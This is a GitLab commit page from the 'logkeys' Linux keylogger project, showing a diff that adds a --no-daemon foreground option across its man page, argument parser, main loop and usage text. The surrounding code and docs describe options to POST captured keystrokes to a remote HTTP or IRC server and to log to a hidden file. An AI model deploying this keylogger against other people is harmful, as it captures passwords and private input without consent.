Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
L
logkeys
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Administrator
logkeys
Commits
6f50959e
Commit
6f50959e
authored
Aug 12, 2016
by
Ricardo Sateler
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Added flag to run in foreground, no daemon (--no-daemon switch)
parent
bf02fa12
Changes
4
Hide whitespace changes
Inline
Side-by-side
Showing
4 changed files
with
21 additions
and
7 deletions
+21
-7
logkeys.8
man/logkeys.8
+7
-0
args.cc
src/args.cc
+2
-0
logkeys.cc
src/logkeys.cc
+11
-7
usage.cc
src/usage.cc
+1
-0
No files found.
man/logkeys.8
View file @
6f50959e
...
...
@@ -7,6 +7,8 @@ logkeys \- a GNU/Linux keylogger that works!
[\fB--no-func-keys\fR] [\fB--no-timestamps\fR]
.br
[\fB--post-http=\fIURL\fR] [\fB--post-size=\fISIZE\fR]
.br
[\fB--no-daemon\fR]
.br
.B logkeys \fB-k\fR
.br
...
...
@@ -133,6 +135,11 @@ by a (PHP) script.
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
is accessible in PHP via $_FILES['file'] variable.
.TP
\fB-\-no-daemon\fR
When this option is set, logkeys runs in the foreground.
Useful when printing output to stdout.
.SH FILES
.TP
\fB/var/log/logkeys.log\fR
...
...
src/args.cc
View file @
6f50959e
...
...
@@ -33,6 +33,7 @@ struct arguments
#define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size
#define FLAG_NO_DAEMON 0x40 // don't daemonize process, stay in foreground, --no-daemon switch
}
args
=
{
0
};
// default all args to 0x0 or ""
...
...
@@ -54,6 +55,7 @@ void process_command_line_arguments(int argc, char **argv)
{
"post-http"
,
required_argument
,
&
flags
,
FLAG_POST_HTTP
},
{
"post-irc"
,
required_argument
,
&
flags
,
FLAG_POST_IRC
},
{
"post-size"
,
required_argument
,
&
flags
,
FLAG_POST_SIZE
},
{
"no-daemon"
,
no_argument
,
&
flags
,
FLAG_NO_DAEMON
},
{
0
}
};
...
...
src/logkeys.cc
View file @
6f50959e
...
...
@@ -422,12 +422,14 @@ int main(int argc, char **argv)
set_signal_handling
();
int
nochdir
=
0
;
if
(
args
.
logfile
[
0
]
!=
'/'
)
nochdir
=
1
;
// don't chdir (logfile specified with relative path)
int
noclose
=
1
;
// don't close streams (stderr used)
if
(
daemon
(
nochdir
,
noclose
)
==
-
1
)
// become daemon
error
(
EXIT_FAILURE
,
errno
,
"Failed to become daemon"
);
if
(
!
(
args
.
flags
&
FLAG_NO_DAEMON
))
{
int
nochdir
=
0
;
if
(
args
.
logfile
[
0
]
!=
'/'
)
nochdir
=
1
;
// don't chdir (logfile specified with relative path)
int
noclose
=
1
;
// don't close streams (stderr used)
if
(
daemon
(
nochdir
,
noclose
)
==
-
1
)
// become daemon
error
(
EXIT_FAILURE
,
errno
,
"Failed to become daemon"
);
}
close
(
STDIN_FILENO
);
// leave stderr open
if
(
args
.
logfile
!=
"-"
)
{
...
...
@@ -460,7 +462,9 @@ int main(int argc, char **argv)
// now we need those privileges back in order to create system-wide PID_FILE
seteuid
(
0
);
setegid
(
0
);
create_PID_file
();
if
(
!
(
args
.
flags
&
FLAG_NO_DAEMON
))
{
create_PID_file
();
}
// now we've got everything we need, finally drop privileges by becoming 'nobody'
//setegid(65534); seteuid(65534); // commented-out, I forgot why xD
...
...
src/usage.cc
View file @
6f50959e
...
...
@@ -30,6 +30,7 @@ void usage()
" --post-http=URL POST log to URL as multipart/form-data file
\n
"
//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n"
" --post-size=SIZE post log file when size equals SIZE [500k]
\n
"
" --no-daemon run in foreground
\n
"
"
\n
"
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log
\n
"
" logkeys -s -d event6
\n
"
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment